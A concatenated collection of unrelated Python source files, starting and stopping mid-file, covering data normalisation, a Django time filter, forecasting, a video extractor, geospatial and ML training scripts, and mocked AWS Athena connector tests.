'_reads'+str(mult)+'x -t '+str(num_reads)+' -l 100 -i 500 -s 100'
# print gen_reads_cmmd
zip_cmmd = 'gzip '+ pref+'_reads'+str(mult)+'x.*'
# print zip_cmmd
# spades_cmmd = '$eran/SPAdes-3.5.0-Linux/bin/spades.py -1 '\
# +pref+'_reads.1.fasta.gz -2 '+\
# pref+'_reads.2.fasta.gz --only-assembler -k 21,33,55 -o '+\
# data_dir+'ref_'+str(size)+'/'
# print spades_cmmd
####### run commands in succession
# p = subprocess.Popen(abnd_cmmd,
# shell=True, stdout=subprocess.PIPE)
# p.wait()
p = subprocess.Popen(gen_reads_cmmd,
shell=True, stdout=subprocess.PIPE)
p.wait()
p = subprocess.Popen(zip_cmmd,
shell=True, stdout=subprocess.PIPE)
p.wait()
|
490752
|
import featuretools as ft
from . import dfd, normalize
from .classes import Dependencies
def find_dependencies(df, accuracy=0.98, index=None):
"""
Finds dependencies within dataframe df with the DFD search algorithm.
Returns the dependencies as a Dependencies object.
Arugments:
df (pd.Dataframe) : the dataframe containing data
accuracy (0 < float <= 1.00; default = 0.98) : the accuracy threshold
required in order to conclude a dependency (i.e. with accuracy = 0.98,
0.98 of the rows must hold true the dependency LHS --> RHS)
index (str, optional) : name of column that is intended index of df
Returns:
dependencies (Dependencies) : the dependencies found in the data
within the contraints provided
"""
deps = Dependencies(dfd.dfd(df, accuracy, index))
if index is None:
prim_key = normalize.choose_index(deps.find_candidate_keys(), df)
deps.set_prim_key(prim_key)
else:
deps.set_prim_key([index])
return deps
def normalize_dependencies(df, dependencies):
"""
Breaks up a set of dependency relations into groups that are normalized,
meaning there are no partial or transitive dependencies within each group.
Arguments:
dependencies (Dependencies) : the dependencies to be normalized
Returns:
dependencies_groups (list[Dependencies]) : list of Dependencies objects each
containing the relations in a new group
"""
return normalize.normalize(dependencies, df)
def normalize_dataframe(df, dependencies):
"""
Normalizes a dataframe based on the dependencies given. Keys for the newly
created DataFrames can only be columns that are strings, ints, or
categories. Keys are chosen according to the priority:
1) shortest lenghts 2) has "id" in some form in the name of an attribute
3) has attribute furthest to left in the table
Arguments:
df (pd.DataFrame) : dataframe to split up
dependencies (Dependencies) : the dependencies to be normalized
Returns:
new_dfs (list[DataFrame]) : list of new dataframes
"""
depdf = normalize.DepDF(dependencies, df, dependencies.get_prim_key())
normalize.normalize_dataframe(depdf)
return depdf.return_dfs()
def make_entityset(df, dependencies, name=None, time_index=None):
"""
Creates a normalized EntitySet from df based on the dependencies given.
Keys for the newly created DataFrames can only be columns that are strings,
ints, or categories. Keys are chosen according to the priority:
1) shortest lenghts 2) has "id" in some form in the name of an attribute
3) has attribute furthest to left in the table
Arguments:
df (pd.DataFrame) : dataframe to normalize and make entity set from
dependencies (Dependenies) : the dependencies discovered in df
name (str, optional) : the name of created EntitySet
Returns:
entityset (ft.EntitySet) : created entity set
"""
depdf = normalize.DepDF(dependencies, df, dependencies.get_prim_key())
normalize.normalize_dataframe(depdf)
normalize.make_indexes(depdf)
entities = {}
relationships = []
stack = [depdf]
while stack != []:
current = stack.pop()
if time_index in current.df.columns:
entities[current.index[0]] = (current.df, current.index[0], time_index)
else:
entities[current.index[0]] = (current.df, current.index[0])
for child in current.children:
# add to stack
# add relationship
stack.append(child)
relationships.append((child.index[0], child.index[0], current.index[0], child.index[0]))
return ft.EntitySet(name, entities, relationships)
def auto_entityset(df, accuracy=0.98, index=None, name=None, time_index=None):
"""
Creates a normalized entityset from a dataframe.
Arugments:
df (pd.Dataframe) : the dataframe containing data
accuracy (0 < float <= 1.00; default = 0.98) : the accuracy threshold
required in order to conclude a dependency (i.e. with accuracy = 0.98,
0.98 of the rows must hold true the dependency LHS --> RHS)
index (str, optional) : name of column that is intended index of df
name (str, optional) : the name of created EntitySet
time_index (str, optional) : name of time column in the dataframe.
Returns:
entityset (ft.EntitySet) : created entity set
"""
return make_entityset(df, find_dependencies(df, accuracy, index), name, time_index)
def auto_normalize(df):
"""
Normalizes dataframe via dependencies discovered in data.
Arguments:
df (pd.DataFrame) : dataframe to split up
Returns:
new_dfs (list[pd.DataFrame]) : list of new dataframes
"""
return normalize_dataframe(df, find_dependencies(df))
def normalize_entity(es, accuracy=0.98):
"""
Returns a new normalized EntitySet from an EntitySet with a single entity.
Arguments:
es (ft.EntitySet) : EntitySet to normalize
accuracy (0 < float <= 1.00; default = 0.98) : the accuracy threshold
required in order to conclude a dependency (i.e. with accuracy = 0.98,
0.98 of the rows must hold true the dependency LHS --> RHS)
Returns:
new_es (ft.EntitySet) : new normalized EntitySet
"""
# TO DO: add option to pass an EntitySet with more than one entity, and specify which one
# to normalize while preserving existing relationships
if len(es.entities) > 1:
raise ValueError('There is more than one entity in this EntitySet')
if len(es.entities) == 0:
raise ValueError('This EntitySet is empty')
entity = es.entities[0]
new_es = auto_entityset(entity.df, accuracy, index=entity.index, name=es.id, time_index=entity.time_index)
return new_es
|
490757
|
from datetime import date, datetime
from django import template
from django.template import defaultfilters
from django.utils.timezone import is_aware, utc
from django.utils.translation import pgettext, ugettext as _, ungettext
register = template.Library()
@register.filter
def naturaltime(value):
"""
For date and time values shows how many seconds, minutes or hours ago
compared to current timestamp returns representing string.
"""
if not isinstance(value, date): # datetime is a subclass of date
return value
now = datetime.now(utc if is_aware(value) else None)
if value < now:
delta = now - value
if delta.days != 0:
return ungettext(
# Translators: please keep a non-breaking space (U+00A0)
# between count and time unit.
'a day ago', '%(count)s days ago', delta.days
) % {'count': delta.days}
elif delta.seconds == 0:
return _('now')
elif delta.seconds < 60:
return ungettext(
# Translators: please keep a non-breaking space (U+00A0)
# between count and time unit.
'a second ago', '%(count)s seconds ago', delta.seconds
) % {'count': delta.seconds}
elif delta.seconds // 60 < 60:
count = delta.seconds // 60
return ungettext(
# Translators: please keep a non-breaking space (U+00A0)
# between count and time unit.
'a minute ago', '%(count)s minutes ago', count
) % {'count': count}
else:
count = delta.seconds // 60 // 60
return ungettext(
# Translators: please keep a non-breaking space (U+00A0)
# between count and time unit.
'an hour ago', '%(count)s hours ago', count
) % {'count': count}
else:
delta = value - now
if delta.days != 0:
return pgettext(
'naturaltime', '%(delta)s from now'
) % {'delta': defaultfilters.timeuntil(value, now)}
elif delta.seconds == 0:
return _('now')
elif delta.seconds < 60:
return ungettext(
# Translators: please keep a non-breaking space (U+00A0)
# between count and time unit.
'a second from now', '%(count)s seconds from now', delta.seconds
) % {'count': delta.seconds}
elif delta.seconds // 60 < 60:
count = delta.seconds // 60
return ungettext(
# Translators: please keep a non-breaking space (U+00A0)
# between count and time unit.
'a minute from now', '%(count)s minutes from now', count
) % {'count': count}
else:
count = delta.seconds // 60 // 60
return ungettext(
# Translators: please keep a non-breaking space (U+00A0)
# between count and time unit.
'an hour from now', '%(count)s hours from now', count
) % {'count': count}
|
490758
|
import pandas as pd
import numpy as np
import pyaf.ForecastEngine as autof
import pyaf.Bench.TS_datasets as tsds
#get_ipython().magic('matplotlib inline')
def pickleModel(iModel):
import pickle
output = pickle.dumps(iModel)
lReloadedObject = pickle.loads(output)
output2 = pickle.dumps(lReloadedObject)
assert(iModel.to_json() == lReloadedObject.to_json())
return lReloadedObject;
def build_model(transformations, trends, periodics, autoregs):
b1 = tsds.load_ozone_exogenous()
df = b1.mPastData
lEngine = autof.cForecastEngine()
lEngine
H = b1.mHorizon;
# lEngine.mOptions.enable_slow_mode();
# lEngine.mOptions.mDebugPerformance = True;
lEngine.mOptions.set_active_transformations(transformations);
lEngine.mOptions.set_active_trends(trends);
lEngine.mOptions.set_active_periodics(periodics);
lEngine.mOptions.set_active_autoregressions(autoregs);
lExogenousData = (b1.mExogenousDataFrame , b1.mExogenousVariables)
lEngine.train(df , b1.mTimeVar , b1.mSignalVar, H);
lEngine.getModelInfo();
print(lEngine.mSignalDecomposition.mTrPerfDetails.head());
lEngine2 = pickleModel(lEngine)
lEngine2.mSignalDecomposition.mBestModel.mTimeInfo.mResolution
lEngine2.standardPlots("outputs/my_ozone");
dfapp_in = df.copy();
dfapp_in.tail()
#H = 12
dfapp_out = lEngine2.forecast(dfapp_in, H);
#dfapp_out.to_csv("outputs/ozone_apply_out.csv")
dfapp_out.tail(2 * H)
print("Forecast Columns " , dfapp_out.columns);
Forecast_DF = dfapp_out[[b1.mTimeVar , b1.mSignalVar, b1.mSignalVar + '_Forecast']]
print(Forecast_DF.info())
print("Forecasts\n" , Forecast_DF.tail(H));
print("\n\n<ModelInfo>")
print(lEngine2.to_json());
print("</ModelInfo>\n\n")
print("\n\n<Forecast>")
print(Forecast_DF.tail(2*H).to_json(date_format='iso'))
print("</Forecast>\n\n")
|
490765
|
from .annotation_project import AnnotationProject
from .band import Band
from .thumbnail import Thumbnail
from .footprint import Footprint
from .image import Image
from .scene import Scene
from .upload import Upload
|
490800
|
import re
from .common import InfoExtractor
from ..utils import (
ExtractorError,
js_to_json,
)
class OnDemandKoreaIE(InfoExtractor):
_VALID_URL = r'https?://(?:www\.)?ondemandkorea\.com/(?P<id>[^/]+)\.html'
_GEO_COUNTRIES = ['US', 'CA']
_TESTS = [{
'url': 'https://www.ondemandkorea.com/ask-us-anything-e43.html',
'info_dict': {
'id': 'ask-us-anything-e43',
'ext': 'mp4',
'title': 'Ask Us Anything : Gain, Ji Soo - 09/24/2016',
'description': 'A talk show/game show with a school theme where celebrity guests appear as “transfer students.”',
'thumbnail': r're:^https?://.*\.jpg$',
},
'params': {
'skip_download': 'm3u8 download'
}
}, {
'url': 'https://www.ondemandkorea.com/confession-e01-1.html',
'info_dict': {
'id': 'confession-e01-1',
'ext': 'mp4',
'title': 'Confession : E01',
'description': '<NAME>, a criminal attorney, is the son of a death row convict. Ever since Choi Pil-su got arrested for murder, Do-hyun has wanted to solve his ',
'thumbnail': r're:^https?://.*\.jpg$',
'subtitles': {
'English': 'mincount:1',
},
},
'params': {
'skip_download': 'm3u8 download'
}
}]
def _real_extract(self, url):
video_id = self._match_id(url)
webpage = self._download_webpage(url, video_id, fatal=False)
if not webpage:
# Page sometimes returns captcha page with HTTP 403
raise ExtractorError(
'Unable to access page. You may have been blocked.',
expected=True)
if 'msg_block_01.png' in webpage:
self.raise_geo_restricted(
msg='This content is not available in your region',
countries=self._GEO_COUNTRIES)
if 'This video is only available to ODK PLUS members.' in webpage:
raise ExtractorError(
'This video is only available to ODK PLUS members.',
expected=True)
if 'ODK PREMIUM Members Only' in webpage:
raise ExtractorError(
'This video is only available to ODK PREMIUM members.',
expected=True)
title = self._search_regex(
r'class=["\']episode_title["\'][^>]*>([^<]+)',
webpage, 'episode_title', fatal=False) or self._og_search_title(webpage)
jw_config = self._parse_json(
self._search_regex(
r'playlist\s*=\s*\[(?P<options>.+)];?$',
webpage, 'jw config', flags=re.MULTILINE, group='options'),
video_id, transform_source=js_to_json)
info = self._parse_jwplayer_data(
jw_config, video_id, require_title=False, m3u8_id='hls',
base_url=url)
info.update({
'title': title,
'description': self._og_search_description(webpage),
'thumbnail': self._og_search_thumbnail(webpage)
})
return info
|
490803
|
import pprint
from subprocess import call
import sys
def pp(o):
p = pprint.PrettyPrinter(indent=4)
p.pprint(o)
def run_spark_job(command_data, job_info, client_name):
conf_data = command_data["conf_data"]
spark_home = conf_data["spark_home"]
seldon_spark_home = conf_data["seldon_spark_home"]
seldon_version = conf_data["seldon_version"]
zk_hosts = conf_data["zk_hosts"]
seldon_models = conf_data["seldon_models"]
seldon_logs = conf_data["seldon_logs"]
cmd = job_info["cmd"].replace("%SPARK_HOME%", spark_home)
cmd_args = job_info["cmd_args"]
replacements = [
("%CLIENT_NAME%", client_name),
("%SPARK_HOME%", spark_home),
("%SELDON_SPARK_HOME%", seldon_spark_home),
("%SELDON_VERSION%", seldon_version),
("%ZK_HOSTS%", zk_hosts),
("%SELDON_MODELS%", seldon_models),
("%SELDON_LOGS%", seldon_logs),
]
def appy_replacements(item):
for rpair in replacements:
if rpair[1] != None:
item = item.replace(rpair[0],rpair[1])
return item
cmd_args = map(appy_replacements, cmd_args)
print "Running spark job"
pp([cmd]+cmd_args)
sys.stdout.flush()
call([cmd]+cmd_args)
|
490812
|
from osgeo import ogr
from osgeo import osr
source = osr.SpatialReference()
source.ImportFromEPSG(4326)
target = osr.SpatialReference()
target.ImportFromEPSG(3857)
transform = osr.CoordinateTransformation(source, target)
geojson = """{ "type": "LineString", "coordinates": [ [ -75.313585, 43.069271 ], [ -75.269426, 43.114027 ], [ -75.158731, 43.114325 ] ] }"""
geom = ogr.CreateGeometryFromJson(geojson)
geom.Transform(transform)
print "Length = %d" % geom.Length() + " meters"
|
490815
|
from moai.visualization.visdom.base import Base
from moai.monads.execution.cascade import _create_accessor
import torch
import typing
import logging
import numpy as np
import visdom
import functools
log = logging.getLogger(__name__)
__all__ = ["Vector"]
class Vector(Base):
def __init__(self,
vector: typing.Union[str, typing.Sequence[str]],
type: typing.Union[str, typing.Sequence[str]],
name: str="default",
ip: str="http://localhost",
port: int=8097,
):
super(Vector, self).__init__(name=name, ip=ip, port=port)
self.vector = [vector] if isinstance(vector, str) else list(vector)
self.vector = [_create_accessor(k) for k in self.vector]
self.types = [type] if isinstance(type, str) else list(type)
self.viz_map = {
'box': functools.partial(self._viz_box, self.visualizer),
}
@property
def name(self) -> str:
return self.env_name
def __call__(self, tensors: typing.Dict[str, torch.Tensor]) -> None:
for v, t in zip(
self.vector, self.types
):
vector = v(tensors)
b = vector.shape[0]
for i in range(b):
self.viz_map[t](
vector[i].detach().cpu().numpy(),
f"boxplot_{i}", t, self.name
)
@staticmethod
def _viz_box(
visdom: visdom.Visdom,
array: np.array,
key: str,
win: str,
env: str
) -> None:
visdom.bar(
array,
win=win,
env=env,
)
|
490816
|
import os
import errno
import argparse
import numpy as np
import tensorflow as tf
# Data loader/manager
from data_manager import DataManager
# Models
from logistic_regression import LogisticRegression
from feed_forward_neural_network import FeedForwardNN
from lstm_network import LSTMNN
def parse_arguments():
"""
Parse the command line arguments of the program.
"""
parser = argparse.ArgumentParser(description='Train a model on data.')
parser.add_argument(
"data_dir",
type=str,
nargs="?",
help="The data directory",
)
parser.add_argument(
"output_dir",
type=str,
nargs="?",
help="The output directory",
default="out/",
)
parser.add_argument(
"-b",
"--batch_size",
type=int,
nargs="?",
help="The number of examples in a batch",
default=128
)
parser.add_argument(
"-c",
"--epoch_count",
type=int,
nargs="?",
help="Number of training steps.",
default=100
)
parser.add_argument(
"-l",
"--learning_rate",
type=float,
nargs="?",
help="The initial learning rate.",
default=0.01
)
parser.add_argument(
"-r",
"--train_test_ratio",
type=float,
nargs="?",
help="The ratio between train and test examples in the data.",
default=0.85
)
parser.add_argument(
"-m",
"--model",
type=int,
nargs="?",
help="The model to use:\n \tLogReg (1)\n \tFeedForwardNN (2)\n \tLSTMNN (3)"
)
return parser.parse_args()
def main():
"""
Description: Train the model, outputs the performance, saves the .pb
Usage: python run.py [data_dir] [ratio] [out_dir] [epoch_count]
"""
# Parse the arguments
args = parse_arguments()
# Create the directory if it does not exist.
try:
os.makedirs(args.output_dir)
except OSError as e:
if e.errno != errno.EEXIST:
raise e
data_manager = DataManager(args.data_dir, args.train_test_ratio, args.batch_size)
model = None
if args.model == 1:
model = LogisticRegression(
args.learning_rate,
args.epoch_count,
data_manager,
args.output_dir
)
elif args.model == 2:
model = FeedForwardNN(
args.learning_rate,
args.epoch_count,
data_manager,
args.output_dir
)
elif args.model == 3:
model = LSTMNN(
args.learning_rate,
args.epoch_count,
data_manager,
args.output_dir
)
else:
raise Exception("Unknown model")
try:
raise Exception()
model.load(
os.path.join(
args.output_dir,
'graph.pb'
)
)
except:
model.train()
model.test()
model.save(
os.path.join(
args.output_dir,
'graph.pb'
)
)
if __name__ == '__main__':
main()
|
490854
|
class Solution:
def containsNearbyDuplicate(self, nums: List[int], k: int) -> bool:
from collections import OrderedDict
if k == 0 or not nums:
return False
d = OrderedDict()
cnt, nums_ = k, nums[:]
while cnt and nums_:
tmp = nums_.pop()
if tmp not in d:
d[tmp] = 1
else:
return True
cnt -= 1
while nums_:
tmp = nums_.pop()
if tmp not in d:
d[tmp] = 1
d.popitem(last=False)
else:
return True
return False
|
490868
|
import os, sys
dirname = os.path.dirname(__file__)
lib_path = os.path.join(dirname, "python_speech_features")
sys.path.append(lib_path)
import features as speechfeatures
import numpy as np
def filter(samplerate, signal, winlen=0.02, winstep=0.01,
nfilt=40, nfft=512, lowfreq=100, highfreq=5000, preemph=0.97):
"""extracts mel filterbank energies from a given signal
Args:
samplerate (int): samples taken per second
signal(1d numpy array): sample values
winlen(float): sliding window size in seconds
winstep(float): overlap of sliding windows in seconds
nfilt(int): number of mel filters to apply
nfft(int): size of the discrete fourier transform to use
lowfreq(int): lowest frequency to collect
highfreq(int): highest frequency to collect
preemph(float): preemphesis factor
Returns:
feat(2d numpy array): filterbank energies
"""
feat, energy = speechfeatures.fbank(np.array(signal), samplerate, winlen=winlen,winstep=winstep,
nfilt=nfilt, nfft=nfft, lowfreq=lowfreq, highfreq=highfreq, preemph=preemph)
return np.swapaxes(feat,0,1)
def logfilter(samplerate, signal, *args, **kwargs):
"""extracts log mel filterbank energies from a given signal
Args:
samplerate (int): samples taken per second
signal(1d numpy array): sample values
*args: piped through to filter
**kwargs: piped thought to filter
Returns:
feat(2d numpy array): logarithm of filterbank energies
"""
feat = filter(samplerate, signal, *args, **kwargs)
return np.log(feat)
|
490900
|
from stix_shifter_modules.aws_athena.entry_point import EntryPoint
from unittest.mock import patch
import json
import unittest
from stix_shifter.stix_transmission import stix_transmission
from botocore.exceptions import ClientError
from botocore.exceptions import ParamValidationError
import datetime
from dateutil.tz import tzlocal
CONFIGURATION = {
"auth": {
"aws_access_key_id": "abc",
"aws_secret_access_key": "xyz"
}
}
IAM_CONFIG = {
"auth": {
"aws_access_key_id": "abc",
"aws_secret_access_key": "xyz",
"aws_iam_role": "ABC"
}
}
CONNECTION = {
"region": "us-east-1",
"s3_bucket_location": "s3://queryresults-athena-s3/",
"vpcflow_database_name": "all",
"vpcflow_table_name": "gd_logs",
"guardduty_database_name": "gd_logs",
"guardduty_table_name": "gd_logs"
}
class AWSMockJsonResponse:
@staticmethod
def assume_role(**kwargs):
json_response = {'Credentials': {'AccessKeyId': 'abc', 'SecretAccessKey': 'xyz', 'SessionToken': '<PASSWORD>'}}
return json_response
@staticmethod
def list_work_groups(**kwargs):
json_response = {
'WorkGroups': [{
'Name': 'AmazonAthenaPreviewFunctionality',
'State': 'ENABLED',
'Description': '',
'CreationTime': datetime.datetime(2020, 7, 2, 18, 44, 21, 668000, tzinfo=tzlocal())
}, {
'Name': 'primary',
'State': 'ENABLED',
'Description': '',
'CreationTime': datetime.datetime(2020, 6, 10, 16, 36, 33, 561000, tzinfo=tzlocal())
}],
'ResponseMetadata': {
'RequestId': '241b172b-13d2-4497-90c6-743e4a6046ac',
'HTTPStatusCode': 200,
'HTTPHeaders': {
'content-type': 'application/x-amz-json-1.1',
'date': 'Wed, 30 Sep 2020 07:04:32 GMT',
'x-amzn-requestid': '241b172b-13d2-4497-90c6-743e4a6046ac',
'content-length': '413',
'connection': 'keep-alive'
},
'RetryAttempts': 0
}
}
return json_response
@staticmethod
def start_query_execution(**kwargs):
json_response = {
'QueryExecutionId': '4214e100-9990-4161-9038-b431ec45661a',
'ResponseMetadata': {
'RequestId': '3139018f-7c6f-45ed-8462-26a3cd566472',
'HTTPStatusCode': 200,
'HTTPHeaders': {
'content-type': 'application/x-amz-json-1.1',
'date': 'Wed, 30 Sep 2020 07:14:03 GMT',
'x-amzn-requestid': '3139018f-7c6f-45ed-8462-26a3cd566472',
'content-length': '59',
'connection': 'keep-alive'
},
'RetryAttempts': 0
}
}
return json_response
@staticmethod
def stop_query_execution(**kwargs):
json_response = {"success": True}
return json_response
@staticmethod
def get_paginator(method='get_query_results'):
paginator_obj = AWSAthenaPaginate()
return paginator_obj
@staticmethod
def delete_objects(**kwargs):
json_response = {"success": True}
return json_response
@staticmethod
def get_query_results(**kwargs):
json_response = {
'UpdateCount': 0,
'ResultSet': {
'Rows': [{
'Data': [{
'VarCharValue': 'version'
}, {
'VarCharValue': 'account'
}, {
'VarCharValue': 'interfaceid'
}, {
'VarCharValue': 'sourceaddress'
}, {
'VarCharValue': 'protocol'
}, {
'VarCharValue': 'action'
}
]
}, {
'Data': [{
'VarCharValue': '2'
}, {
'VarCharValue': '979326520502'
}, {
'VarCharValue': 'eni-0bb88d3d170cebfc0'
}, {
'VarCharValue': '192.168.127.12'
}, {
'VarCharValue': '6'
}, {
'VarCharValue': 'ACCEPT'
}]
}],
},
'ResponseMetadata': {
'RequestId': '396c4d92-ca40-4807-ae91-74b393a37aa7',
'HTTPStatusCode': 200,
'HTTPHeaders': {
'content-type': 'application/x-amz-json-1.1',
'date': 'Wed, 30 Sep 2020 08:02:32 GMT',
'x-amzn-requestid': '396c4d92-ca40-4807-ae91-74b393a37aa7',
'content-length': '7214',
'connection': 'keep-alive'
},
'RetryAttempts': 0
}
}
return json_response
@staticmethod
def get_query_execution(**kwargs):
json_response = {
'QueryExecution': {
'QueryExecutionId': '3fdb8f84-6ad6-4f7c-8e9e-7bf3db87c274',
'Query': 'SELECT * FROM logs_db.vpc_flow_logs limit 1',
'StatementType': 'DML',
'ResultConfiguration': {
'OutputLocation': 's3://queryresults-athena-s3/3fdb8f84-6ad6-4f7c-8e9e-7bf3db87c274.csv'
},
'QueryExecutionContext': {},
'Status': {
'State': 'SUCCEEDED',
'SubmissionDateTime': datetime.datetime(2020, 9, 30, 13, 31, 28, 856000, tzinfo=tzlocal()),
'CompletionDateTime': datetime.datetime(2020, 9, 30, 13, 31, 31, 313000, tzinfo=tzlocal())
},
'Statistics': {
'EngineExecutionTimeInMillis': 2280,
'DataScannedInBytes': 1493800,
'TotalExecutionTimeInMillis': 2457,
'QueryQueueTimeInMillis': 117,
'QueryPlanningTimeInMillis': 1819,
'ServiceProcessingTimeInMillis': 60
},
'WorkGroup': 'primary'
},
'ResponseMetadata': {
'RequestId': '870cfb1e-734f-40b2-bab0-cc44affa21d4',
'HTTPStatusCode': 200,
'HTTPHeaders': {
'content-type': 'application/x-amz-json-1.1',
'date': 'Wed, 30 Sep 2020 08:10:16 GMT',
'x-amzn-requestid': '870cfb1e-734f-40b2-bab0-cc44affa21d4',
'content-length': '1275',
'connection': 'keep-alive'
},
'RetryAttempts': 0
}
}
return json_response
class AWSAthenaPaginate(AWSMockJsonResponse):
def paginate(self, **kwargs):
return [self.get_query_results()]
class MockStatusResponseRunning:
@staticmethod
def get_query_execution(**kwargs):
json_response = {
'QueryExecution': {
'QueryExecutionId': '3fdb8f84-6ad6-4f7c-8e9e-7bf3db87c274',
'Query': 'SELECT * FROM logs_db.vpc_flow_logs limit 1',
'StatementType': 'DML',
'ResultConfiguration': {
'OutputLocation': 's3://queryresults-athena-s3/3fdb8f84-6ad6-4f7c-8e9e-7bf3db87c274.csv'
},
'QueryExecutionContext': {},
'Status': {
'State': 'RUNNING',
'SubmissionDateTime': datetime.datetime(2020, 9, 30, 13, 31, 28, 856000, tzinfo=tzlocal()),
'CompletionDateTime': datetime.datetime(2020, 9, 30, 13, 31, 31, 313000, tzinfo=tzlocal())
},
'Statistics': {
'EngineExecutionTimeInMillis': 2280,
'DataScannedInBytes': 1493800,
'TotalExecutionTimeInMillis': 2457,
'QueryQueueTimeInMillis': 117,
'QueryPlanningTimeInMillis': 1819,
'ServiceProcessingTimeInMillis': 60
},
'WorkGroup': 'primary'
},
'ResponseMetadata': {
'RequestId': '870cfb1e-734f-40b2-bab0-cc44affa21d4',
'HTTPStatusCode': 200,
'HTTPHeaders': {
'content-type': 'application/x-amz-json-1.1',
'date': 'Wed, 30 Sep 2020 08:10:16 GMT',
'x-amzn-requestid': '870cfb1e-734f-40b2-bab0-cc44affa21d4',
'content-length': '1275',
'connection': 'keep-alive'
},
'RetryAttempts': 0
}
}
return json_response
class AWSMockJsonResponseALB:
@staticmethod
def get_query_results(**kwargs):
json_response = {
'UpdateCount': 0,
'ResultSet': {
'Rows': [{
'Data': [{
'VarCharValue': 'type'
}, {
'VarCharValue': 'time'
}, {
'VarCharValue': 'elb'
}, {
'VarCharValue': 'useridentity'
}]
}, {
'Data': [{
'VarCharValue': 'http'
}, {
'VarCharValue': '2020-06-15T07:04:18.737784Z'
}, {
'VarCharValue': 'app/apache-alb/d68fc3aeae65675d'
}, {
'VarCharValue': '{type=IAMUser, principalid=AIDA6IBDIZS3JEPRO2CBA, '
'arn=arn:aws:iam::979326520502:user/[email protected], accountid=979326520502, '
'invokedby=signin.amazonaws.com, accesskeyid=ASIA6IBDIZS3PHL7F75J, '
'username=<EMAIL>, sessioncontext={attributes={'
'mfaauthenticated=false, creationdate=2019-10-15T06:12:34Z} '
}]
}],
},
'ResponseMetadata': {
'RequestId': '396c4d92-ca40-4807-ae91-74b393a37aa7',
'HTTPStatusCode': 200,
'HTTPHeaders': {
'content-type': 'application/x-amz-json-1.1',
'date': 'Wed, 30 Sep 2020 08:02:32 GMT',
'x-amzn-requestid': '396c4d92-ca40-4807-ae91-74b393a37aa7',
'content-length': '7214',
'connection': 'keep-alive'
},
'RetryAttempts': 0
}
}
return json_response
@staticmethod
def get_query_execution(**kwargs):
json_response = {
'QueryExecution': {
'QueryExecutionId': '3fdb8f84-6ad6-4f7c-8e9e-7bf3db87c274',
'Query': 'SELECT * FROM logs_db.vpc_flow_logs limit 1',
'StatementType': 'DML',
'ResultConfiguration': {
'OutputLocation': 's3://queryresults-athena-s3/3fdb8f84-6ad6-4f7c-8e9e-7bf3db87c274.csv'
}
},
'ResponseMetadata': {
'RequestId': '870cfb1e-734f-40b2-bab0-cc44affa21d4',
'HTTPStatusCode': 200,
'HTTPHeaders': {
'content-type': 'application/x-amz-json-1.1',
'date': 'Wed, 30 Sep 2020 08:10:16 GMT',
'x-amzn-requestid': '870cfb1e-734f-40b2-bab0-cc44affa21d4',
'content-length': '1275',
'connection': 'keep-alive'
},
'RetryAttempts': 0
}
}
return json_response
@staticmethod
def delete_objects(**kwargs):
json_response = {"success": True}
return json_response
@staticmethod
def get_paginator(method='get_query_results'):
paginator_obj = AWSAthenaPaginateALB()
return paginator_obj
class AWSAthenaPaginateALB(AWSMockJsonResponseALB):
def paginate(self, **kwargs):
return [self.get_query_results()]
class MockExceptionResponse:
"""
Summary Json response handler
"""
@staticmethod
def list_work_groups():
response = {'Error': {'Code': 'invalid_parameter', 'Message': 'Missing the parameters.'}}
raise ClientError(response, 'test1')
@staticmethod
def start_query_execution(**kwargs):
response = {'Error': {'Code': 'authentication_fail', 'Message': 'Unable to access the data'}}
raise ClientError(response, 'test2')
@staticmethod
def get_query_execution(**kwargs):
response = {'Error': {'Code': 'invalid_parameter', 'Message': 'Unable to access the data'}}
raise ParamValidationError(report='invalid_parameter')
@staticmethod
def get_query_results(**kwargs):
response = """{
"error" : {
"code" : "mapping_error",
"message":"Data is invalid."},
"status": AWSATHENA.UNKNOWN
}"""
return json.loads(response)
@staticmethod
def stop_query_execution(**kwargs):
response = {'Error': {'Code': 'authentication_fail', 'Message': 'Unable to access the data'}}
raise ClientError(response, 'test4')
class TestAWSConnection(unittest.TestCase):
@staticmethod
def test_is_async():
entry_point = EntryPoint()
check_async = entry_point.is_async()
assert check_async
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_create_query_connection(mock_start_query):
mock_start_query.return_value = AWSMockJsonResponse()
query = """{"vpcflow": "endtime >= 1588310653 AND starttime BETWEEN 1588322590 AND 1604054590 LIMIT 10000"}"""
transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, CONFIGURATION)
query_response = transmission.query(query)
assert query_response is not None
assert 'success' in query_response
assert query_response['success'] is True
assert 'search_id' in query_response
assert query_response['search_id'] == "4214e100-9990-4161-9038-b431ec45661a:vpcflow"
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_create_query_exception(mock_start_query):
mock_start_query.return_value = MockExceptionResponse()
query = """{"vpcflow": "endtime >= 1588310653 AND starttime BETWEEN 1588322590 AND 1604054590 LIMIT 10000"}"""
transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, CONFIGURATION)
query_response = transmission.query(query)
assert query_response is not None
assert 'success' in query_response
assert query_response['success'] is False
assert 'error' in query_response
assert query_response['code'] == "authentication_fail"
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_iam_create_query_connection(mock_start_query):
mock_start_query.return_value = AWSMockJsonResponse()
query = """{
"vpcflow": "(CAST(destinationport AS varchar) IN ('38422', '38420') AND starttime BETWEEN 1603975773 AND \
1603976073 LIMIT 100) UNION (CAST(destinationport AS varchar) = '32791' AND starttime BETWEEN 1603975773 \
AND 1603976073 LIMIT 10)"
}"""
transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, IAM_CONFIG)
query_response = transmission.query(query)
assert query_response is not None
assert 'success' in query_response
assert query_response['success'] is True
assert 'search_id' in query_response
assert query_response['search_id'] == "4214e100-9990-4161-9038-b431ec45661a:vpcflow"
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_create_results_exception(mock_create_results):
mock_create_results.return_value = MockExceptionResponse()
search_id = 123
offset = 0
length = 10
transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, CONFIGURATION)
results_response = transmission.results(search_id, offset, length)
assert results_response is not None
assert 'success' in results_response
assert results_response['success'] is False
assert 'error' in results_response
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_create_results_connection(mock_results):
mock_results.return_value = AWSMockJsonResponse
search_id = "0c8ed381-f1c8-406d-a293-406b64607870:vpcflow"
offset = 0
length = 2
